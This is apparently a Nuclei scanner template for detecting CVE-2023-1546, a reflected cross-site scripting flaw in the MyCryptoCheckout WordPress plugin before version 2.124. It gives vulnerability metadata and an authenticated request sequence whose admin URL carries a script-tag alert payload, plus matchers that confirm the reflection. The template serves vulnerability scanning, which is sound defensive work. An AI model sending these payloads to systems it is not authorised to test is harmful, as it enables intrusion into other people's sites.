id: CVE-2023-1546

info:
  name: MyCryptoCheckout < 2.124 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 2.124
  reference:
    - https://wpscan.com/vulnerability/bb065397-370f-4ee1-a2c8-20e4dc4415a0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1546
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1546
    cwe-id: CWE-79
    epss-score: 0.00087
    epss-percentile: 0.36792
    cpe: cpe:2.3:a:plainviewplugins:mycryptocheckout:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: plainviewplugins
    product: mycryptocheckout
    framework: wordpress
  tags: cve,cve2023,wordpress,wp,wp-plugin,xss,wpscan,authenticated,plainviewplugins

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "scriptalert(/XSS/)/script")'
          - 'contains(body_2, "mycryptocheckout")'
        condition: and
# digest: 4a0a004730450220569ea295512ad848551e8cb6b5332da459512a59da841b85d383fcd086a3e1b20221008cfa80f79d64cd0b33626f13ea875afd553c7a7901f65fb65dd6b990ccfdea11:922c64590222798bb761d5b6d8e72950